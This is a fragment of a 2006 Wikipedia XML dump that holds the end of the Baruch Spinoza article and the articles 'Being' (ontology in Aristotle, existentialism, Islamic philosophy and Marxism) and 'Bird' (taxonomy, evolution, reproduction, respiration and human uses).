&lt;blockquote&gt;&quot;This, then, is the end for which I strive, to attain to such a character myself, and to endeavour that many should attain to it with me. In other words, it is part of my happiness to lend a helping hand, that many others may understand even as I do, so that their understanding and desire may entirely agree with my own. In order to bring this about, it is necessary to understand as much of nature as will enable us to attain to the aforesaid character, and  also to form a social order such as is most conducive to the attainment of this character by the greatest number with the least difficulty and danger.&quot;&lt;/blockquote&gt;

==Modern relevance==
[[Albert Einstein]] said that Spinoza was the philosopher who had most influenced his worldview ([[Weltanschauung]]). Spinoza equated God (infinite substance) with Nature, and Einstein, too, believed in an impersonal deity.  His desire to understand Nature through physics can be seen as contemplation of God. [[Arne Næss]], the father of the [[deep ecology]] movement, acknowledged drawing much inspiration from the works of Spinoza. 

In the late twentieth century, there was a great increase in [[philosophical]] interest in Spinoza in [[Europe]], often from a [[left-wing]] and [[Marxist]] perspectives. Notable philosophers [[Gilles Deleuze]], [[Antonio Negri]] and [[Étienne Balibar]] have each written books on Spinoza. Other philosophers heavily influenced by Spinoza were [[Constantin Brunner]] and [[John David Garcia]]. [[Stuart Hampshire]] wrote a major English language study of Spinoza, though [[H. H. Joachim]]'s work is equally valuable.

Spinoza's portrait featured prominently on the 1000 [[Dutch gulden]] [[banknote]], [[legal tender]] in the [[Netherlands]] until the [[euro]] was introduced in [[2002]].

The highest and most prestigious scientific prize of the Netherlands is named the ''Spinozapremie'' (Spinoza reward).

==Quotes== &lt;!--This data was moved from the old Infobox Philosopher template on September 9.  Please move this to Wikiquote--&gt;
*&quot;Mind and body are one and the same individual which is conceived now under the attribute of thought, and now under the attribute of extension.&quot; [[Ethics (book)|Ethics]] II prop. 7.
*&quot;I have laboured carefully, not to mock, lament, or execrate human actions, but to understand them.&quot; ''A Political Treatise'', 288.
*&quot;If the road I have shown to lead to this is very difficult, it can yet be discovered. And clearly it must be very hard when it is so seldom found. For how could it be that it is neglected practically by all, if salvation were close at hand and could be found without difficulty? But all excellent things are as difficult as they are rare.&quot; ''Ethics'', 224.

==Bibliography==
===By Spinoza===
*''Short Treatise on God, Man and His Well-Being''.
*1662. ''On the Improvement of the Understanding''. [http://gutenberg.net/etext/1016 Project Gutenberg]
*1663. ''Principles of Cartesian Philosophy''.
*1670. ''Tractatus Theologico-Politicus'' (A Theologico-Political Treatise)
**[http://gutenberg.net/etext/989 Project Gutenberg: Part 1]
**[http://gutenberg.net/etext/990 Part 2]
**[http://gutenberg.net/etext/991 Part 3]
**[http://gutenberg.net/etext/992 Part 4]
*1677. ''Ethica Ordine Geometrico Demonstrata'' ([[Ethics (book)|The Ethics]]) [http://gutenberg.net/etext/3800 Project Gutenberg.] [http://www.earlymoderntexts.com/f_spinoza.html Another translation, by Jonathan Bennett.]
*1677. ''Hebrew Grammar''.

===About Spinoza===
* [[Etienne Balibar]], 1985. ''Spinoza et la politique'' (&quot;Spinoza and politics&quot;) Paris: [[PUF]].
* [[Gilles Deleuze]], 1968. ''Spinoza et le problème de l'expression''. Trans. &quot;Expressionism in Philosophy: Spinoza&quot;.
* -----, 1970. ''Spinoza - Philosophie pratique''. Transl. &quot;Spinoza: Practical Philosophy&quot;.
* Della Rocca, Michael. 1996. ''Representation and the Mind-Body Problem in Spinoza''. Oxford University Press. ISBN 0-19-509562-6
*Garrett, Don, ed., 1995. ''The Cambridge Companion to Spinoza''. Cambridge Uni. Press.
* Gatens, Moira, and Lloyd, Genevieve, 1999. ''Collective imaginings : Spinoza, past and present''. Routledge. ISBN 0-415-16570-9, ISBN 0-415-16571-7
*Gullan-Whur, Margaret, 1998. ''Within Reason: A Life of Spinoza''. Jonathan Cape. ISBN 0-224-05046-X
*Lloyd, Genevieve, 1996. ''Spinoza and the Ethics''. Routledge. ISBN 0-415-10781-4, ISBN 0-415-10782-2
*Kasher, Asa, and Shlomo Biderman. &quot;[http://www.tau.ac.il/~kasher/pspin.htm Why Was Baruch de Spinoza Excommunicated?]&quot;
*[[Arthur O. Lovejoy]], 1957 (1936). &quot;Plenitude and Sufficient Reason in Leibniz and Spinoza&quot; in his ''The Great Chain of Being''. Harvard Uni. Press: 144-82. Reprinted in Frankfurt, H. G., ed., 1972. ''Leibniz: A Collection of Critical Essays''. Anchor Books.
*[[Pierre Macherey]], 1977. ''Hegel ou Spinoza'', Maspéro (2nd ed. La Découverte, 2004). 
* ------, 1994-98. ''Introduction à l'Ethique de Spinoza''. Paris: PUF.
* Matheron, Alexandre, 1969. ''Individu et communauté chez Spinoza'', Paris: [[Les Éditions de Minuit|Minuit]]. 
*Nadler, Steven, 1999. ''Spinoza: A Life''. Cambridge Uni. Press. ISBN 0-521-55210-9
*[[Antonio Negri]], 1991. ''The Savage Anomaly: The Power of Spinoza's Metaphysics and Politics''. [[Michael Hardt]], trans., University of Minnesota Press. Preface, in French, by Gilles Deleuze, available [http://multitudes.samizdat.net/article.php3?id_article=1355 here].

==See also==
*[[Affect (philosophy)|Affect]]
*[[Spinozism]]
*[[Liberalism]]
*[[Contributions to liberal theory]]
*[[Voorburg]]
*[[Plane of immanence]]
*[[The Treatise of the Three Impostors]]

==External links==
{{wikiquote}}
{{wikisourcelang|nl|Baruch Spinoza|Baruch Spinoza}}
{{commons|Baruch de Spinoza}}
*[http://rwmeijer.ws/spinoza/ The Ethics] - Split-screen Latin/English or Latin/French
*[http://www.earlymoderntexts.com/ The Ethics]A READABLE version with all the content still there.
*[http://cf.uba.uva.nl/en/digilib/philosophy/spinheng.html Vereniging Het Spinozahuis]
*[http://www.spinoza.net The Spinoza Net]
*[http://bdsweb.tripod.com Spinoza and Spinozism] - BDSweb
*[http://www.philosophyarchive.com/text.php?era=1600-1699&amp;author=Spinoza&amp;text=A%20Theologico-Political%20Treatise A Theologico-Political Treatise ] -English Translation
*[http://hyperspinoza.caute.lautre.net HyperSpinoza]
*[http://www.iep.utm.edu/s/spinoza.htm Internet Encyclopedia of Philosophy - Spinoza]
*[http://atheisme.free.fr/Biographies/Spinoza_e.htm Biography of Spinoza]
*Stanford Encyclopedia of Philosophy:
**[http://plato.stanford.edu/entries/spinoza/ Spinoza]
**[http://plato.stanford.edu/entries/spinoza-psychological/ Spinoza's Psychological Theory]
* {{gutenberg author| id=Benedictus+de+Spinoza | name=Baruch Spinoza}}

[[Category:1632 births|Spinoza, Baruch]]
[[Category:1677 deaths|Spinoza, Baruch]]
[[Category:Dutch philosophers|Spinoza, Baruch]]
[[Category:Early modern philosophers|Spinoza, Baruch]]
[[Category:Enlightenment philosophers|Spinoza, Baruch]]
http://www.ah0.org/books/0199254567_Radical_Enlightenment.shtml
http://www.ebookmall.com/ebook/169306-ebook.htm
[[Category:Rationalists|Spinoza, Baruch]]
[[Category:Spanish and Portuguese Jews|Spinoza, Baruch]]

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[[zh:巴鲁赫·斯宾诺莎]]</text>
    </revision>
  </page>
  <page>
    <title>Being</title>
    <id>3409</id>
    <revision>
      <id>40904710</id>
      <timestamp>2006-02-23T20:16:49Z</timestamp>
      <contributor>
        <username>Rodasmith</username>
        <id>291611</id>
      </contributor>
      <comment>otheruses template disambiguates [[Supreme Being]]</comment>
      <text xml:space="preserve">{{otheruses4|[[Ontology|ontological]] being|theological Supreme Being|Supreme Being}}

{{wiktionary}}
In [[ontology]], a '''being''' is anything that can be said to ''be''. Being can be said [[transcendant]] or [[immanent]]. According to [[marxism]], the Being is the product of human activity (or [[labour (economics)|labour]]).

==Being and substance in Aristotle==

Among the first inquiries into what &quot;being&quot; encompassed was that undertaken by [[Aristotle]].  The term &quot;substance&quot; in Aristotle was a precise [[metaphysics|metaphysical]] term denoting an individual thing about which specific assertions may be made.

Since the [[Aristotle|Aristotelian]] view of [[matter]] is negative, the &quot;substance&quot; or &quot;being&quot; is a real thing that exists.  Since matter renders things more obscure to our perception, it follows that the true essence of an object is independent of matter, its &quot;being&quot; is independent of the material world.

To [[Aristotle]], only spirits and Gods are independent of matter, and thus these entities are purely &quot;substance&quot; or &quot;being.&quot;  This is the origin of the phrase &quot;One in substance with the Father&quot; or modernly &quot;One in being with the Father&quot; in the [[Roman Catholicism|Catholic]] [[Nicene Creed]].

==Being in continental philosophy and existentialism==

Some philosophers deny that the concept of &quot;being&quot; has any meaning at all, since we only define an object's existence by its relation to other objects, and actions it undertakes. The term &quot;I am&quot; has no meaning by itself; it must have an action or relation appended to it. This in turn has led to the thought that &quot;being&quot; and [[nothing]]ness are closely related, developed in [[existential]] philosophy.

Existentialist philosophers such as [[Jean-Paul Sartre|Sartre]], as well as [[continental philosophy|continental philosophers]] such as [[Georg Wilhelm Friedrich Hegel|Hegel]] and [[Martin Heidegger|Heidegger]] have also written extensively on the concept of being. Hegel distinguishes between the being of objects ([[being in itself]]) and the being of people (''[[Geist (philosophy)]]''.  Hegel, however, did not think there was much hope for deliniating a &quot;meaning&quot; of being, because being stripped of all predicates is simply nothing. Heidegger, in his quest to pioneer the path by which we might learn how to meaningfully ask the question of the meaning of being, distinguishes between different modes of being, which are present-to-hand (or objective presence - the kind of being possessed by objects), readiness-to-hand, which is the kind of being possessed by tools, and Da-sein (&quot;there-being&quot;), which is the kind of being possessed by the beings which we ourselves are.  Sartre, popularly understood as mis-reading Heidegger (a reading supported by Heidegger's essay &quot;Letter on Humanism&quot; which responds to Sartre's famous address, &quot;Existentialism is a Humanism&quot;), employs modes of being in an attempt to ground his concept of freedom ontologically by distinguishing between being-in-itself and being-for-itself. 

==Being in Islamic philosophy==

The nature of being has also been debated and explored in [[Islamic philosophy]], notably by [[Ibn Sina]], [[Suhrawardi]], and [[Mulla Sadra]].[http://www.iranchamber.com/personalities/msadra/mulla_sadra.php]

==Being in Marxism==

According to [[Georg Lukacs]], a [[Marxist]] philosopher, &quot;It is only when the core of being has shown itself as social becoming, that the being itself can appear as a product, so far unconscious, of human activity, and this activity, in turn, as the decisive element of the transformation of being.&quot; (§5 of &quot;What is Orthodoxical Marxism?&quot; in ''History and [[Class Consciousness]]'') Thus, the Being is identified by marxism as the historical product of human activity. [[Antonio Negri]] carries on the same analyse in ''The Savage Anomaly: The Power of [[Spinoza]]'s Metaphysics and Politics''.


{{philosophy-stub}}

==See also==

* [[Category of being]]
* [[Cogito ergo sum]]
* [[Existence]] 
* [[Existentialism]]
* [[Objecthood]]
* [[Ontology]]
* [[Substance theory]]
* [[Supreme being]]
* Hegel, [[Phenomenology of Spirit]]
* Heidegger, [[Being and Time]]
* Sartre, [[Essays in Existentialism]] and [[Being and Nothingness]]

== External links ==
* [http://www.formalontology.it/being.htm Being in philosophy and linguistics]

{{Philosophy navigation}}

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  <page>
    <title>Bird</title>
    <id>3410</id>
    <revision>
      <id>42088765</id>
      <timestamp>2006-03-03T19:25:46Z</timestamp>
      <contributor>
        <username>MPF</username>
        <id>38759</id>
      </contributor>
      <comment>/* Circulatory System */ {{citation required}}</comment>
      <text xml:space="preserve">{{otheruses}}
:'''''Aves''' redirects here. For the Caribbean island administered by [[Venezuela]], see [[Isla Aves]].''
{{Taxobox
| color = pink
| name = Birds
| image = Parus major 3 (Marek Szczepanek).jpg
| image_width = 240px
| image_caption = [[Great Tit]], ''Parus major''
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| subphylum = [[Vertebrate|Vertebrata]]
| classis = '''Aves'''
| classis_authority = [[Carolus Linnaeus|Linnaeus]], 1758
| subdivision_ranks = [[Order (biology)|Orders]]
| subdivision = 
&lt;center&gt;Many - see [[#Bird orders|section below]].&lt;/center&gt;
}}

'''Birds''' are [[biped]]al, [[Homeothermic|warm-blooded]], [[oviparous]] [[vertebrate]]s characterized primarily by [[feather]]s, forelimbs modified as [[wing]]s, and hollow bones. 

Birds range in size from the tiny [[hummingbird]]s to the huge [[Ostrich]] and [[Emu]]. Depending on taxonomic viewpoint, there are about 8,800–10,200 living bird species (plus about 120–130 that have become [[extinction|extinct]] in the span of human history) in the world, making them the most diverse class of terrestrial [[vertebrate]]s.

Birds feed on [[nectar (plant)|nectar]], [[plant]]s, seeds, [[insect]]s, [[rodent]]s, [[fish]], carrion, or other birds. Most birds are [[diurnal animal|diurnal]], or active during the day. Some birds, such as the [[owl]]s and [[nightjar]]s, are [[nocturnal]] or [[crepuscular]] (active during twilight hours). Many birds [[bird migration|migrate]] long distances to utilise optimum habitats (e.g., [[Arctic Tern]]) while others spend almost all their time at sea (e.g. the [[Wandering Albatross]]). Some, such as [[frigatebird]]s, stay aloft for days at a time, even sleeping on the wing.

Common characteristics of birds include a bony [[beak]] with no teeth, the laying of hard-shelled [[Egg (biology)|egg]]s, high [[metabolism|metabolic]] rate, and a light but strong [[Bird skeleton|skeleton]].  Most birds are characterised by [[bird flight|flight]], though the [[ratite]]s are flightless, and several other species, particularly on islands, have also lost this ability. Flightless birds include the [[penguins]], [[ostrich]], [[kiwi]], and the extinct [[Dodo]]. Flightless species are vulnerable to extinction when humans or the [[mammal]]s they introduce arrive in their habitat. The [[Great Auk]], flightless [[Rallidae|rail]]s, and the [[moa]] of [[List of New Zealand birds|New Zealand]], for example, all became extinct due to human influence.

Birds are among the most extensively studied of all animal groups. Hundreds of academic journals and thousands of scientists are devoted to bird research, while amateur enthusiasts (called birdwatchers or, more commonly, [[birding|birders]]) probably number in the millions.

==High-level taxonomy==
Birds form a ''[[Class (biology)|class]]'', whose scientific name is ''Aves''.  The founding species of class Aves probably lived in the [[Jurassic]] period.

According to the most recent consensus, Class Aves and a sister group, the family [[Crocodylidae]], together form a group of unnamed rank, the [[Archosauria]].

The class of birds separated early into two [[superorder]]s, the [[Paleognathae]] (mostly flightless birds like [[ostrich]]es), and the wildly diverse [[Neognathae]], containing all other birds.

==Bird orders==
[[Image:Galloanseri2.png|279px|thumb|right|Relationships between bird orders]]
This is a list of the taxonomic orders in the class Aves. The [[list of birds]] gives a more detailed summary, including families.

[[Paleognathae]]:
*[[Struthioniformes]], [[Ostrich]], [[emu]]s, [[kiwi]]s, and allies
*[[Tinamiformes]], [[tinamou]]s
[[Neognathae]]:
*[[Anseriformes]], waterfowl
*[[Galliformes]], fowl
*[[Gaviiformes]], [[loon]]s
*[[Podicipediformes]], [[grebe]]s 
*[[Procellariiformes]], [[albatross]]es, [[petrel]]s, and allies
*[[Sphenisciformes]], [[penguin]]s
*[[Pelecaniformes]], [[pelican]]s and allies
*[[Ciconiiformes]], [[stork]]s and allies
*[[Phoenicopteriformes]], [[flamingo]]s
*[[Accipitriformes]], [[eagle|eagles]], [[hawk]]s and allies 
*[[Falconiformes]], [[falcon]]s
*[[Turniciformes]], button-quail
*[[Gruiformes]], cranes and allies
*[[Charadriiformes]], plovers and allies
*[[Pteroclidiformes]], sandgrouse
*[[Columbiformes]], [[dove]]s and [[pigeon]]s
*[[Psittaciformes]], [[parrot]]s and allies
*[[Cuculiformes]], [[cuckoo]]s
*[[Strigiformes]], [[owl]]s
*[[Caprimulgiformes]], [[nightjar]]s and allies
*[[Apodiformes]], [[swift]]s
*[[Trochiliformes]], hummingbirds
*[[Coraciiformes]], [[kingfisher]]s
*[[Piciformes]], [[woodpecker]]s and allies
*[[Trogoniformes]], [[trogon]]s
*[[Coliiformes]], mousebirds
*[[Passerine|Passeriformes]], passerines

Note: This is the traditional classification (the so-called [[James Clements|Clements]] order). A more recent, radically different classification based on molecular data has been developed (the so-called Sibley order) and is gaining acceptance.

[[Image:slimbridge.chilean.flamingo.arp.jpg|thumb|right|200px|The [[Chilean Flamingo]] is found throughout Peru, Bolivia and Chile]] 

== Evolution ==
There is significant evidence that birds evolved from [[Theropoda|theropod]] [[Dinosauria|dinosaur]]s, specifically, that birds are members of [[Maniraptora]], a group of theropods which includes [[dromaeosaur]]s and [[Oviraptoridae|oviraptorids]], among others [http://www.sciencemag.org/cgi/content/abstract/274/5290/1164]. As more non-avian theropods that are closely related to birds are discovered, the formerly clear distinction between non-birds and birds becomes less so. Recent discoveries in northeast [[China]] ([[Liaoning]] Province) demonstrating that many small theropod dinosaurs had feathers contribute to this ambiguity.  

The basal bird ''[[Archaeopteryx]]'', from the [[Jurassic]], is well-known as one of the first &quot;missing links&quot; to be found in support of [[evolution]] in the late [[19th century]]. It remains the most primitive known bird. Other [[Mesozoic]] birds include the [[Confuciusornithidae]], [[Enantiornithes]], ''[[Ichthyornis]]'', and [[Hesperornithiformes]], a group of flightless divers resembling [[grebe]]s and [[loon]]s.

The recently discovered dromaeosaur, ''[[Cryptovolans]]'', was capable of powered flight, contained a [[keel (bird)|keel]] and had ribs with [[uncinate]] processes. In fact, ''[[Cryptovolans]]'' makes a better &quot;bird&quot; than ''[[Archaeopteryx]]'' which is missing some of these modern bird features. Because of this, some paleontologists have suggested that [[dromaeosaur]]s are actually basal birds whose larger members are secondarily flightless, i.e. dromaeosaurs evolved from birds and not the other way around. Evidence for this theory is currently inconclusive, but digs continue to unearth fossils (especially in China) of the strange feathered dromaeosaurs.

It should be noted that although [[ornithischia]]n (bird-hipped) dinosaurs share the same [[hip]] structure as birds, birds actually originated from the [[saurischia]]n (lizard-hipped) dinosaurs (if the dinosaurian origin theory is correct), and thus arrived at their hip structure condition [[Analogy (biology)|independently]].  In fact, the bird-like hip structure also developed a third time among a peculiar group of theropods, the [[Therizinosauridae]].

An alternate theory to the dinosaurian origin of birds, espoused by a few scientists (most notably Lary Martin and Alan Feduccia), states that birds (including [[Maniraptora|maniraptoran]] &quot;dinosaurs&quot;) evolved from early archosaurs like ''[[Longisquama]]'', a theory which is contested by most other scientists in paleontology, and by experts in feather development and evolution such as R.O. Prum. See the ''[[Longisquama]]'' artcile for more on this alternative. 

Modern birds are classified in Neornithes, which are split into the Paleognathae and Neognathae. The paleognaths include the [[tinamou]]s (found only in Central and South America) and the [[ratite]]s. The ratites are large flightless birds, and include ostriches, cassowaries, kiwis and emus. Some scientists suspect that the ratites represent an artificial grouping of birds which have independently lost the ability to fly, while others contend that the ratites never had the ability to fly and are more directly related to the dinosaurs than other modern birds. The basal divergence from the remaining Neognathes was that of the Galloanseri, the superorder containing the [[Anseriformes]] ([[duck]]s, [[goose|geese]] and [[swan]]s), and the [[Galliformes]] (the [[pheasant]]s, [[grouse]], and their allies). See the chart for more information.

The classification of birds is a contentious issue. [[Charles Sibley|Sibley]] &amp; Ahlquist's ''Phylogeny and Classification of Birds'' (1990) is a landmark work on the classification of birds (although frequently debated and constantly revised). A preponderance of evidence seems to suggest that the modern bird orders constitute accurate [[taxon|taxa]]. However, scientists are not in agreement as to the relationships between the orders; evidence from modern bird anatomy, fossils and DNA have all been brought to bear on the problem but no strong consensus has emerged. See also: [[Sibley-Ahlquist taxonomy]].

==Reproduction==
[[Image:Baby bird learning to fly.jpg|thumb|250px|Baby bird unable to fly yet]]
Although most male birds have no external sex organs, the male does have two [[testicle|testes]] which become hundreds of times larger during the breeding season to produce [[sperm]]. The female's [[ovary|ovaries]] also become larger, although only the left ovary actually functions.  

In the males of species without a [[phallus]] (see below), sperm is stored within the [[proctodeum]] compartment within the [[cloaca]] prior to copulation. During [[copulation]], the female moves her tail to the side and the male either mounts the female from behind or moves very close to her. He moves the opening of his cloaca, or vent, close to hers, so that the sperm can enter the female's cloaca, in what is referred to as a [[cloacal kiss]]. This can happen very fast, sometimes in less than one second.

The sperm is stored in the female's cloaca for anywhere from a week to a year, depending on the species of bird. Then, one by one, eggs will descend from the female's ovaries and become fertilized by the male's sperm, before being subsequently laid by the female. The eggs will then continue their development in the nest.

[[Image:Sea Gull 2.jpg|right|thumb|174px|A juvenile [[Laughing Gull]] on the beach at [[Atlantic City, New Jersey|Atlantic City]].]]

Many [[waterfowl]] and some other birds, such as the ostrich and [[Turkey (bird)|turkey]], do possess a [[phallus]]. Except during copulation, it is hidden within the [[proctodeum]] compartment within the cloaca, just inside the vent. The avian phallus differs from the [[mammal]]ian [[penis]] in several ways, most importantly in that it is purely a copulatory organ and is not used for expelling urine.

After the eggs hatch, parent birds provide varying degrees of care in terms of food and protection. [[Precocial]] birds can care for themselves independently within minutes of hatching; [[altricial]] hatchlings are helpless, blind, and naked, and require extended parental care. The [[chick]]s of many ground-nesting birds such as [[partridge]]s and [[wader]]s are often able to run virtually immediately after hatching; such birds are referred to as [[nidifugous]]. The young of hole-nesters, on the other hand, are often totally incapable of unassisted survival. The process whereby a chick acquires feathers until it can fly is called &quot;fledging&quot;.

Some birds, such as pigeons, geese, and [[Red-crowned Crane]]s, remain with their mates for life (or for a long period) and may produce offspring on a regular basis.

==Mating systems and parental care==
&lt;div style=&quot;float:right; clear:right; width:30%; margin:1em; padding:1em; border:1px solid #8888aa; background: #ffffff; font-size:80%&quot;&gt;
Sources for this section include:
*Gowaty, Patricia Adair: Male Parental Care and Apparent Monogamy among Eastern Bluebirds (Sialia Sialis). ''The American Naturalist'' 121(2): 149-160 (1983).
*Ketterson, Ellen D. and Nolan, Val: Male Parental Behavior in Birds. ''Annual Review of Ecology and Systematics'' 25: 601-28 (1994).
*Zeveloff, Samuel and Boyce, Mark: Parental Investment and Mating Systems in Mammals. ''Evolution'' 34(5): 973-982 (1980).
&lt;/div&gt;
The three mating systems that predominate among birds are polyandry, polygyny, and monogamy. [[Monogamy]] is seen in approximately 91% of all bird species. [[Polygyny]] constitutes 2% of all birds and [[polyandry]] is seen in less than 1%. Monogamous species of males and females pair for the breeding season. In some cases, the individuals may pair for life.

One reason for the high rate of monogamy among birds is the fact that male birds are just as adept at parental care as females. In most groups of animals, male parental care is rare, but in birds it is quite common; in fact, it is more extensive in birds than in any other vertebrate class. In birds, male care can be seen as important or essential to female fitness. &quot;In one form of monogamy such as with [[obligate]] monogamy a female cannot rear a litter without the aid of a male&quot; (Gowaty, 1983).

[[Image:Redwing_nest.jpg|left|thumb|350px|These [[redwing]] hatchlings are completely dependent on parental care.]]

The parental behavior most closely associated with monogamy is male [[incubation]]. Interestingly, male incubation is the most confining male parental behavior.  It takes time and also may require physiological changes that interfere with continued mating.  This extreme loss of mating opportunities leads to a reduction in reproductive success among incubating males. &quot;This information then suggests that sexual selection may be less intense in taxa where males incubate, hypothetically because males allocate more effort to parental care and less to mating&quot; (Ketterson and Nolan, 1994). In other words, in bird species in which male incubation is common, females tend to select mates on the basis of parental behaviors rather than physical appearance.

==Respiration==
Birds ventilate their lungs by means of crosscurrent flow: the air flows at a 90&amp;deg; angle to the flow of blood in the lungs' capillaries. In addition to the lungs themselves, birds have posterior and anterior air sacs (typically nine) which control air flow through the lungs, but do not play a direct role in gas exchange. There are three distinct sets of organs involved in [[Respiration (physiology)|respiration]]:

* the [[Anatomical terms of location|anterior]] [[air sac]]s ([[clavicle|interclavicular]], [[Neck|cervicals]], and anterior [[thoracic]]s), 
* the [[lungs]], and 
* the [[Anatomical terms of location|posterior]] air sacs (posterior thoracics and abdominals).

It takes a bird two full breaths to completely cycle the air from each inhalation through its lungs and out again. Air flows through the air sacs and lungs as follows:

* First inhalation: air flows through the [[trachea]], [[Bronchus|bronchi]], parabronchi (in the lung) and into the posterior air sacs. 
* First exhalation: air flows from the posterior air sacs to the lungs.
* Second inhalation: air flows from the lungs to the anterior air sacs.
* Second exhalation: air flows from the anterior sacs back through the trachea and out of the body.

Since during inhalation ''and'' exhalation fresh air flows through the lungs in only one direction, there is no mixing of oxygen rich air and [[carbon dioxide]] rich air within the lungs as in mammals. Thus the [[partial pressure]] of oxygen in a bird's lungs is the same as the environment, and so birds have more efficient gas-exchange of both oxygen and carbon dioxide than do mammals.

Avian lungs do not have [[alveoli]], as mammalian lungs do, but instead contain millions of tiny passages known as [[parabronchi]], connected at either ends by the dorsobronchi and ventrobronchi. Air flows through the honeycombed walls of the parabronchi and into air capillaries, where oxygen and carbon dioxide are traded with cross-flowing blood capillaries by diffusion.

A diaphragm is absent in birds; the entire body cavity acts as a [[bellows]] to move air through the lungs.  The active phase of respiration in birds is exhalation, requiring effort of the musculature.

==Circulatory System==
Birds have [[four chambered heart]]s, just like humans, most mammals, and some [[crocodilian|reptiles]]. This adaptation allows for efficient neutrient dispersion throughout the body which provides birds with the energy they need to fly and lead highly active lives. Some birds have a heart rate of 1000 beats per minute, that is about 16.5 beats per second {{citation required}}.

==Other anatomy==
[[Image:Bird.parts.jpg|thumb|200px|Anatomy of a typical bird]]
Birds possess a ''ventriculus'', or [[gizzard]], that is composed of four muscular bands that act to rotate and crush food by shifting the food from one area to the next within the gizzard. Depending on the species, the gizzard may contain small pieces of grit or stone that the bird has swallowed to aid in the grinding process of [[digestion]]. For birds in captivity, only certain species of birds require grit in their diet for digestion. The use of gizzard stones is a similarity between birds and dinosaurs, which left gizzard stones called [[gastrolith]]s as [[trace fossil]]s.

Birds also have [[skeleton]]s possessing unique characteristics. ''See [[bird skeleton]].''

The region between the eye and bill on the side of a bird's head is called a ''lore''. This region is sometimes featherless, and the skin may be tinted (as in many species of the [[cormorant]] family).

==Birds and humans==
[[Image:penguinu.jpg|thumb|Chinstrap Penguin]][[image:iso_linnunpontto.jpg|thumb|150px|[[Birdbox]] is an artificial platform for birds to make a nest]]

Birds are an important food source for [[human]]s. The most commonly eaten species is the domestic [[chicken]] and its [[Egg (biology)|egg]]s, although [[goose|geese]], [[pheasant]]s, [[turkey (bird)|turkey]]s, and [[duck]]s are also widely eaten. Other birds that have been utilized for food include [[emu]]s, [[ostrich]]es, [[pigeon]]s, [[grouse]], [[quail]]s, [[dove]]s, [[woodcock]]s, [[songbird]]s, and others, including small [[passerine]]s such as [[finch]]es.  Birds grown for human consumption are refered to as [[Poultry]].

At one time [[swan]]s and [[flamingo]]s were delicacies of the rich and powerful, although these are generally protected now.

Many species have become extinct through over-hunting, such as the [[Passenger Pigeon]], and many others have become endangered or extinct through [[habitat destruction]], [[deforestation]] and intensive [[agriculture]] being common causes for declines.

Numerous species have come to depend on human activities for food and are widespread to the point of being pests. For example, the common pigeon or [[Rock Dove]] (''Columba livia'') thrives in urban areas around the world. In North America, introduced [[House Sparrow]]s, [[Common Starling]]s, and [[House Finch]]es are similarly widespread.

Other birds have long been used by humans to perform tasks. For example, [[Rock Dove|Homing pigeons]] were used to carry messages before the advent of modern instant communications methods (many are still kept for sport). [[Falcon]]s are still used for hunting, while [[cormorant]]s are employed by fishermen. [[Chicken]]s and [[pigeon]]s are popular as experimental subjects, and are often used in [[biology]] and [[comparative psychology]] research. As birds are very sensitive to toxins, the [[Canary]] was used in [[coal mines]] to indicate the presence of poisonous gases, allowing miners sufficient time to escape without injury.

Colorful, particularly tropical, birds (e.g., [[Parrot (family)|parrot]]s, and [[mynah]]s) are often kept as [[pet]]s although this practice has led to the illegal [[smuggling|trafficking]] of some endangered species; [[CITES]], an international agreement adopted in 1963, has considerably reduced trafficking in the bird species it protects.

Bird diseases that can be contracted by humans include [[psittacosis]], [[salmonellosis]], [[campylobacteriosis]], Newcastle's disease, mycobacteriosis (avian [[tuberculosis]]), [[avian influenza]], [[giardiasis]], and [[cryptosporidiosis]].

==Trivia==

*To preen or groom their feathers, birds use their bills to brush away foreign particles.
*The birds of a region are called the '''[[avifauna]]'''.
*Few birds use chemical defences against predators.  [[Tubenose]]s can eject an unpleasant [[stomach oil|oil]] against an aggressor, and some species of [[pitohui]], found in [[New Guinea]], secrete a powerful [[neurotoxin]] in their feathers.
*The [[Latin]] word for bird is '''avis'''. The recent [[Avian_flu|avian flu]] outbreaks are named so after the adjectival form.

==See also==
* [[Anting (bird activity)|Anting]]
* ''[[Archaeopteryx]]''
* [[Avian pallium]]
* [[Bird flight]]
* [[Bird hybrid]]
* [[Bird intelligence]]
* [[Bird observatory]]
* [[Bird migration]]
* [[Bird ringing]] (banding)
* [[Bird skeleton]]
* [[Birdfeeding]]
* [[Birding]]
* [[Carinatae]]
* [[Conservation status]]
* [[The biology of eggs|Egg biology]]
* [[Extinct birds]]
* [[List of birds]]
* [[List of regional bird lists|regional and country bird lists]]
* [[Longisquama]]
* [[Oology]]
* [[Ornithology]]
* [[Prehistoric bird]]s

Bird families and [[taxonomy|taxonomic]] discussion are given in [[list of birds]] and [[Sibley-Ahlquist taxonomy]].

== References and external links ==
{{sisterlinks|Bird}}
{{Wikispecies|Aves}}
{{Wikibookspar|Dichotomous Key|Aves}}
&lt;!-- Please note Wikipedia is not a repository of links! Only include major international, non-commercial external links --&gt;
*[http://www.bsc-eoc.org/avibase/avibase.jsp?lang=EN&amp;pg=home Avibase - The World Bird Database]
*[http://www.bird-hybrids.com/engine.php?LA=En Bird Hybrids Database - Search by bird name, use Sibley classification]
*[http://www.i-o-c.org/IOComm/index.htm International Ornithological Committee]
*[http://www.birdlife.org/ Birdlife International] - Dedicated to bird conservation worldwide; has a database with about 250,000 records on endangered bird species
*[http://birdingonthe.net/ Birdingonthe.net]
*[http://www.surfbirds.com/ Surfbirds Birdwatching and World Birding]
*[http://worldtwitch.com/ Worldtwitch - rare bird news around the world]
*[http://www.birdforum.net/ BirdForum]

{{Link FA|bg}}
{{Link FA|sl}}

[[Category:Chordates]]
[[Category:Birds|*]]
[[Category:Ornithology]]

[[af:Voël]]
[[ast:Páxaru]]
[[bg:Птици]]
[[bo:བྱ་]]
[[ca:Ocell]]
[[chr:ᏥᏍᏆ]]
[[cs:Ptáci]]
[[cy:Aderyn]]
[[da:Fugl]]
[[de:Vögel]]
[[et:Linnud]]
[[es:Ave]]
[[eo:Birdoj]]
[[fa:پرنده]]
[[fr:Oiseau]]
[[fy:Fûgels]]
[[gl:Paxaro]]
[[ko:새]]
[[hr:Ptice]]
[[io:Ucelo]]
[[id:Burung]]
[[is:Fugl]]
[[it:Aves]]
[[he:עופות]]
[[kw:Edhen]]
[[ku:Çûk]]
[[la:Avis]]
[[lt:Paukščiai]]
[[li:Veugel]]
[[hu:Madár]]
[[ms:Burung]]
[[nah:Tototl]]
[[nl:Vogels]]
[[nds:Vagel]]
[[ja:鳥類]]
[[no:Fugler]]
[[nn:Fugl]]
[[pl:Ptaki]]
[[pt:Aves]]
